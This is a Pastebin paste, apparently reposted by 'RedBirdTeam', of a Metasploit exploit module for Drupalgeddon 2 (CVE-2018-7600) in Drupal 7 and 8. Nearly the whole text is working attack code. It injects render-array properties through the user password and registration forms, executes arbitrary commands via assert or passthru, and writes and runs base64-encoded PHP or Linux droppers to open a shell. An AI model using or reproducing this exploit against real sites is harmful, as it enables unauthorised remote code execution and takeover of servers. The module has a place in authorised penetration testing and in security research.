Advertisement
RedBirdTeam

Drupal Exploit - Drupalgeddon_2

Apr 27th, 2018
395
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.49 KB | None | 0 0
  1. ##
  2. # Este Modulo requiere Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. # RedBird Seguridad Ofensiva
  5. # PackStorm
  6. ##
  7.  
  8. class MetasploitModule < Msf::Exploit::Remote
  9.  
  10. Rank = ExcellentRanking
  11.  
  12. include Msf::Exploit::Remote::HttpClient
  13. # XXX: CmdStager can't handle badchars
  14. include Msf::Exploit::PhpEXE
  15. include Msf::Exploit::FileDropper
  16.  
  17. def initialize(info = {})
  18. super(update_info(info,
  19. 'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',
  20. 'Description' => %q{
  21. This module exploits a Drupal property injection in the Forms API.
  22.  
  23. Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
  24. },
  25. 'Author' => [
  26. 'Jasper Mattsson', # Vulnerability discovery
  27. 'a2u', # Proof of concept (Drupal 8.x)
  28. 'Nixawk', # Proof of concept (Drupal 8.x)
  29. 'FireFart', # Proof of concept (Drupal 7.x)
  30. 'wvu' # Metasploit module
  31. ],
  32. 'References' => [
  33. ['CVE', '2018-7600'],
  34. ['URL', 'https://www.drupal.org/sa-core-2018-002'],
  35. ['URL', 'https://greysec.net/showthread.php?tid=2912'],
  36. ['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
  37. ['URL', 'https://github.com/a2u/CVE-2018-7600'],
  38. ['URL', 'https://github.com/nixawk/labs/issues/19'],
  39. ['URL', 'https://github.com/FireFart/CVE-2018-7600'],
  40. ['AKA', 'SA-CORE-2018-002'],
  41. ['AKA', 'Drupalgeddon 2']
  42. ],
  43. 'DisclosureDate' => 'Mar 28 2018',
  44. 'License' => MSF_LICENSE,
  45. 'Platform' => ['php', 'unix', 'linux'],
  46. 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
  47. 'Privileged' => false,
  48. 'Payload' => {'BadChars' => '&>\''},
  49. # XXX: Using "x" in Gem::Version::new isn't technically appropriate
  50. 'Targets' => [
  51. #
  52. # Automatic targets (PHP, cmd/unix, native)
  53. #
  54. ['Automatic (PHP In-Memory)',
  55. 'Platform' => 'php',
  56. 'Arch' => ARCH_PHP,
  57. 'Type' => :php_memory
  58. ],
  59. ['Automatic (PHP Dropper)',
  60. 'Platform' => 'php',
  61. 'Arch' => ARCH_PHP,
  62. 'Type' => :php_dropper
  63. ],
  64. ['Automatic (Unix In-Memory)',
  65. 'Platform' => 'unix',
  66. 'Arch' => ARCH_CMD,
  67. 'Type' => :unix_memory
  68. ],
  69. ['Automatic (Linux Dropper)',
  70. 'Platform' => 'linux',
  71. 'Arch' => [ARCH_X86, ARCH_X64],
  72. 'Type' => :linux_dropper
  73. ],
  74. #
  75. # Drupal 7.x targets (PHP, cmd/unix, native)
  76. #
  77. ['Drupal 7.x (PHP In-Memory)',
  78. 'Platform' => 'php',
  79. 'Arch' => ARCH_PHP,
  80. 'Version' => Gem::Version.new('7.x'),
  81. 'Type' => :php_memory
  82. ],
  83. ['Drupal 7.x (PHP Dropper)',
  84. 'Platform' => 'php',
  85. 'Arch' => ARCH_PHP,
  86. 'Version' => Gem::Version.new('7.x'),
  87. 'Type' => :php_dropper
  88. ],
  89. ['Drupal 7.x (Unix In-Memory)',
  90. 'Platform' => 'unix',
  91. 'Arch' => ARCH_CMD,
  92. 'Version' => Gem::Version.new('7.x'),
  93. 'Type' => :unix_memory
  94. ],
  95. ['Drupal 7.x (Linux Dropper)',
  96. 'Platform' => 'linux',
  97. 'Arch' => [ARCH_X86, ARCH_X64],
  98. 'Version' => Gem::Version.new('7.x'),
  99. 'Type' => :linux_dropper
  100. ],
  101. #
  102. # Drupal 8.x targets (PHP, cmd/unix, native)
  103. #
  104. ['Drupal 8.x (PHP In-Memory)',
  105. 'Platform' => 'php',
  106. 'Arch' => ARCH_PHP,
  107. 'Version' => Gem::Version.new('8.x'),
  108. 'Type' => :php_memory
  109. ],
  110. ['Drupal 8.x (PHP Dropper)',
  111. 'Platform' => 'php',
  112. 'Arch' => ARCH_PHP,
  113. 'Version' => Gem::Version.new('8.x'),
  114. 'Type' => :php_dropper
  115. ],
  116. ['Drupal 8.x (Unix In-Memory)',
  117. 'Platform' => 'unix',
  118. 'Arch' => ARCH_CMD,
  119. 'Version' => Gem::Version.new('8.x'),
  120. 'Type' => :unix_memory
  121. ],
  122. ['Drupal 8.x (Linux Dropper)',
  123. 'Platform' => 'linux',
  124. 'Arch' => [ARCH_X86, ARCH_X64],
  125. 'Version' => Gem::Version.new('8.x'),
  126. 'Type' => :linux_dropper
  127. ]
  128. ],
  129. 'DefaultTarget' => 0, # Automatic (PHP In-Memory)
  130. 'DefaultOptions' => {'WfsDelay' => 2}
  131. ))
  132.  
  133. register_options([
  134. OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
  135. OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
  136. OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
  137. ])
  138.  
  139. register_advanced_options([
  140. OptBool.new('ForceExploit', [false, 'Override check result', false]),
  141. OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
  142. ])
  143. end
  144.  
  145. def check
  146. checkcode = CheckCode::Safe
  147.  
  148. if drupal_version
  149. print_status("Drupal #{@version} targeted at #{full_uri}")
  150. checkcode = CheckCode::Detected
  151. else
  152. print_error('Could not determine Drupal version to target')
  153. return CheckCode::Unknown
  154. end
  155.  
  156. if drupal_unpatched?
  157. print_good('Drupal appears unpatched in CHANGELOG.txt')
  158. checkcode = CheckCode::Appears
  159. end
  160.  
  161. token = random_crap
  162. res = execute_command(token, func: 'printf')
  163.  
  164. if res && res.body.start_with?(token)
  165. checkcode = CheckCode::Vulnerable
  166. end
  167.  
  168. checkcode
  169. end
  170.  
  171. def exploit
  172. unless check == CheckCode::Vulnerable || datastore['ForceExploit']
  173. fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
  174. end
  175.  
  176. if datastore['PAYLOAD'] == 'cmd/unix/generic'
  177. print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
  178. # XXX: Naughty datastore modification
  179. datastore['DUMP_OUTPUT'] = true
  180. end
  181.  
  182. # NOTE: assert() is attempted first, then PHP_FUNC if that fails
  183. case target['Type']
  184. when :php_memory
  185. execute_command(payload.encoded, func: 'assert')
  186.  
  187. sleep(wfs_delay)
  188. return if session_created?
  189.  
  190. # XXX: This will spawn a *very* obvious process
  191. execute_command("php -r '#{payload.encoded}'")
  192. when :unix_memory
  193. execute_command(payload.encoded)
  194. when :php_dropper, :linux_dropper
  195. dropper_assert
  196.  
  197. sleep(wfs_delay)
  198. return if session_created?
  199.  
  200. dropper_exec
  201. end
  202. end
  203.  
  204. def dropper_assert
  205. php_file = Pathname.new(
  206. "#{datastore['WritableDir']}/#{random_crap}.php"
  207. ).cleanpath
  208.  
  209. # Return the PHP payload or a PHP binary dropper
  210. dropper = get_write_exec_payload(
  211. writable_path: datastore['WritableDir'],
  212. unlink_self: true # Worth a shot
  213. )
  214.  
  215. # Encode away potential badchars with Base64
  216. dropper = Rex::Text.encode_base64(dropper)
  217.  
  218. # Stage 1 decodes the PHP and writes it to disk
  219. stage1 = %Q{
  220. file_put_contents("#{php_file}", base64_decode("#{dropper}"));
  221. }
  222.  
  223. # Stage 2 executes said PHP in-process
  224. stage2 = %Q{
  225. include_once("#{php_file}");
  226. }
  227.  
  228. # :unlink_self may not work, so let's make sure
  229. register_file_for_cleanup(php_file)
  230.  
  231. # Hopefully pop our shell with assert()
  232. execute_command(stage1.strip, func: 'assert')
  233. execute_command(stage2.strip, func: 'assert')
  234. end
  235.  
  236. def dropper_exec
  237. php_file = "#{random_crap}.php"
  238. tmp_file = Pathname.new(
  239. "#{datastore['WritableDir']}/#{php_file}"
  240. ).cleanpath
  241.  
  242. # Return the PHP payload or a PHP binary dropper
  243. dropper = get_write_exec_payload(
  244. writable_path: datastore['WritableDir'],
  245. unlink_self: true # Worth a shot
  246. )
  247.  
  248. # Encode away potential badchars with Base64
  249. dropper = Rex::Text.encode_base64(dropper)
  250.  
  251. # :unlink_self may not work, so let's make sure
  252. register_file_for_cleanup(php_file)
  253.  
  254. # Write the payload or dropper to disk (!)
  255. # NOTE: Analysis indicates > is a badchar for 8.x
  256. execute_command("echo #{dropper} | base64 -d | tee #{php_file}")
  257.  
  258. # Attempt in-process execution of our PHP script
  259. send_request_cgi(
  260. 'method' => 'GET',
  261. 'uri' => normalize_uri(target_uri.path, php_file)
  262. )
  263.  
  264. sleep(wfs_delay)
  265. return if session_created?
  266.  
  267. # Try to get a shell with PHP CLI
  268. execute_command("php #{php_file}")
  269.  
  270. sleep(wfs_delay)
  271. return if session_created?
  272.  
  273. register_file_for_cleanup(tmp_file)
  274.  
  275. # Fall back on our temp file
  276. execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
  277. execute_command("php #{tmp_file}")
  278. end
  279.  
  280. def execute_command(cmd, opts = {})
  281. func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
  282.  
  283. vprint_status("Executing with #{func}(): #{cmd}")
  284.  
  285. res =
  286. case @version.to_s
  287. when '7.x'
  288. exploit_drupal7(func, cmd)
  289. when '8.x'
  290. exploit_drupal8(func, cmd)
  291. end
  292.  
  293. if res && res.code != 200
  294. print_error("Unexpected reply: #{res.inspect}")
  295. return
  296. end
  297.  
  298. if res && datastore['DUMP_OUTPUT']
  299. print_line(res.body)
  300. end
  301.  
  302. res
  303. end
  304.  
  305. def drupal_version
  306. if target['Version']
  307. @version = target['Version']
  308. return @version
  309. end
  310.  
  311. res = send_request_cgi(
  312. 'method' => 'GET',
  313. 'uri' => target_uri.path
  314. )
  315.  
  316. return unless res && res.code == 200
  317.  
  318. # Check for an X-Generator header
  319. @version =
  320. case res.headers['X-Generator']
  321. when /Drupal 7/
  322. Gem::Version.new('7.x')
  323. when /Drupal 8/
  324. Gem::Version.new('8.x')
  325. end
  326.  
  327. return @version if @version
  328.  
  329. # Check for a <meta> tag
  330. generator = res.get_html_document.at(
  331. '//meta[@name = "Generator"]/@content'
  332. )
  333.  
  334. return unless generator
  335.  
  336. @version =
  337. case generator.value
  338. when /Drupal 7/
  339. Gem::Version.new('7.x')
  340. when /Drupal 8/
  341. Gem::Version.new('8.x')
  342. end
  343. end
  344.  
  345. def drupal_unpatched?
  346. unpatched = true
  347.  
  348. # Check for patch level in CHANGELOG.txt
  349. uri =
  350. case @version.to_s
  351. when '7.x'
  352. normalize_uri(target_uri.path, 'CHANGELOG.txt')
  353. when '8.x'
  354. normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
  355. end
  356.  
  357. res = send_request_cgi(
  358. 'method' => 'GET',
  359. 'uri' => uri
  360. )
  361.  
  362. return unless res && res.code == 200
  363.  
  364. if res.body.include?('SA-CORE-2018-002')
  365. unpatched = false
  366. end
  367.  
  368. unpatched
  369. end
  370.  
  371. def exploit_drupal7(func, code)
  372. vars_get = {
  373. 'q' => 'user/password',
  374. 'name[#post_render][]' => func,
  375. 'name[#markup]' => code,
  376. 'name[#type]' => 'markup'
  377. }
  378.  
  379. vars_post = {
  380. 'form_id' => 'user_pass',
  381. '_triggering_element_name' => 'name'
  382. }
  383.  
  384. res = send_request_cgi(
  385. 'method' => 'POST',
  386. 'uri' => target_uri.path,
  387. 'vars_get' => vars_get,
  388. 'vars_post' => vars_post
  389. )
  390.  
  391. return res unless res && res.code == 200
  392.  
  393. form_build_id = res.get_html_document.at(
  394. '//input[@name = "form_build_id"]/@value'
  395. )
  396.  
  397. return res unless form_build_id
  398.  
  399. vars_get = {
  400. 'q' => "file/ajax/name/#value/#{form_build_id.value}"
  401. }
  402.  
  403. vars_post = {
  404. 'form_build_id' => form_build_id.value
  405. }
  406.  
  407. send_request_cgi(
  408. 'method' => 'POST',
  409. 'uri' => target_uri.path,
  410. 'vars_get' => vars_get,
  411. 'vars_post' => vars_post
  412. )
  413. end
  414.  
  415. def exploit_drupal8(func, code)
  416. # Clean URLs are enabled by default and "can't" be disabled
  417. uri = normalize_uri(target_uri.path, 'user/register')
  418.  
  419. vars_get = {
  420. 'element_parents' => 'account/mail/#value',
  421. 'ajax_form' => 1,
  422. '_wrapper_format' => 'drupal_ajax'
  423. }
  424.  
  425. vars_post = {
  426. 'form_id' => 'user_register_form',
  427. '_drupal_ajax' => 1,
  428. 'mail[#type]' => 'markup',
  429. 'mail[#post_render][]' => func,
  430. 'mail[#markup]' => code
  431. }
  432.  
  433. send_request_cgi(
  434. 'method' => 'POST',
  435. 'uri' => uri,
  436. 'vars_get' => vars_get,
  437. 'vars_post' => vars_post
  438. )
  439. end
  440.  
  441. def random_crap
  442. Rex::Text.rand_text_alphanumeric(8..42)
  443. end
  444.  
  445. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement